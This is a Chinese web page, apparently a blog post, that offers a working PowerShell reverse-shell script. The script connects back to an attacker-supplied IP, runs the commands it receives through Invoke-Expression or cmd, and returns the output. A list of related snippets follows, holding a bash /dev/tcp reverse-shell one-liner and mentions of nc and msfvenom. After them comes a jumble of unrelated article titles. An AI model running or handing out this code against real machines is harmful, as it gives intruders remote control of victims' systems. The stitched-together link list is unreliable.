powershell反弹shell,无中文乱码

$ps=$true
while($true){$client = New-Object System.Net.Sockets.TCPClient("IP",65534);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){if($ps){$data = (New-Object -TypeName System.Text.UTF8Encoding).GetString($bytes,0, $i);if ($data -eq "$ps=$false"){$ps=$falsecontinue}try{$sendback = (Invoke-Expression -Command $data 2>&1 | Out-String );}catch{Write-Warning "Something went wrong with execution of command on the target."Write-Error $_}}else{cmd /c "$data" | Out-File C:\Windows\Temp\temp.txt;Get-Content C:\Windows\Temp\temp.txt | Out-String;Remove-Item C:\Windows\Temp\temp.txt;}if ($sendback -eq "$ps"){continue}if ($sendback -eq ""){continue}$sendback2  = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::UTF8).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush();}if ($ps){Write-host "Switching to CMD"}else{Write-host "Switching to PowerShell"}
}
$client.Close()

powershell反弹shell相关推荐

  1. linux 反弹 socket,反弹shell基础

    1. 从Bash一句话shell讲起 bash -i >& /dev/tcp/172.168.1.1/80 0>&1 将这句话拆开来看,bash -i,>&, ...

  2. 反弹shell的总结

    前言 ctf中经常执行命令没有回显,需要进行反弹shell,而不同的环境反弹shell的姿势也不尽相同,所以就在这里总结一下,自己以后遇到了什么新的姿势都会加进来. 比较常见的姿势 比较常见的基本就是 ...

  3. python反弹shell_反弹shell的几种方式总结

    假设本机地址10.10.10.11,监听端口443. 1.Bash环境下反弹TCP协议shell 首先在本地监听TCP协议443端口 nc -lvp 443 然后在靶机上执行如下命令: bash -i ...

  4. windows反弹shell复现

    windows反弹shell 简介: reverse shell(反弹shell),就是控制端监听在某TCP/UDP端口,被控端发起请求到该端口,并将其命令行的输入输出转到控制端.reverse sh ...

  5. msf反弹shell

    今天回顾了一下msf反弹shell的操作,在这里做一下记录和分享.( ̄︶ ̄)↗ 反弹shell的两种方法 第一种Msfvenom实例: 1.msfconsole #启动msf 2.msfvenom - ...

  6. 059 提权与反弹shell

    文章目录 一:权限提升概述 二:windows提权 2.1: 启动项提权 2.2:系统漏洞提权 2.2.1:笔记 2.2.2:部分截图 2.2.3:收集到的漏洞列表: 2.2.4:windows200 ...

  7. Windows下反弹shell的方法

    1.powercat反弹shell powercat(https://github.com/besimorhino/powercat )为Powershell版的Netcat,实际上是一个powers ...

  8. 渗透测试常用反弹shell方法(如何渗透测试反弹shell?)-Windows篇(゚益゚メ) 渗透测试

    文章目录 反弹shell介绍 常用反弹方式 NetCat(NC)反弹 正向NC 反向NC mshta.exe利用 msf利用模块 方法一(msfconsole) 方法二(msfvenom) Cobal ...

  9. 内网渗透-常用反弹shell方法总结

    常用反弹shell方法总结 文章目录 常用反弹shell方法总结 前言 bash反弹shell nc反弹shell 1.nc弹linux的shell: nc -e /bin/bash 1.1.1.1 ...

最新文章

  1. Mybatis入门:3(动态sql)
  2. asp.net 导出excel带图片
  3. Tensorflow搞一个聊天机器人
  4. Oracle数据库锁的种类及研究
  5. 10一个应用阻止关机贴吧_手机该不该每天关机一次?看完才知道这么多年白用了...
  6. 单进程服务器-select版
  7. 我的Dll(动态链接库)学习笔记(转)
  8. WPF、WCF、WF打造Hello World程序
  9. Composer 安装时要求输入授权用户名密码
  10. jyoryo mysql_分类 Tools 下的文章
  11. android动态注册广播权限,记动态注册广播权限问题
  12. Windows下安装HDFView
  13. Ubuntu和Win10双系统修改硬盘序列号后无法进入Win10的解决办法
  14. 车辆工程计算机发展前景,车辆工程专业就业方向有哪些 就业前景怎么样
  15. 【单目3D检测】Monoflex论文阅读
  16. [三星6818]gpio模拟spi信号编写门禁卡识别模块驱动
  17. php后台会员卡管理,实用PHP会员权限控制实现原理分析
  18. KendoUI学习笔记
  19. ubuntu:更新源操作步骤
  20. 神奇玻璃制品:鲁珀特之泪

热门文章

  1. 英菲尼迪tlme是什么意思_英菲尼迪_什么是英菲尼迪_太平洋汽车网百科
  2. TFboys要解散?你该先看看“限定团”是怎么收割的!
  3. 杂记四:scala 柯理化和隐式转换
  4. 给Redis配置环境变量
  5. 当电脑在linux系统下不能连接wifi时,一种可行的解决方法
  6. 一款简单强大的下载软件(freedownloadmanager)
  7. iphone6s gpu Android,iPhone 7 GPU性能首曝:安卓全家被虐哭!
  8. 17岁女生自曝做鸡心酸经历
  9. android 9 ps4手柄,现在安卓手机端可以连接ps4手柄吗?
  10. android 字符串时间,Android:将字符串转换为时间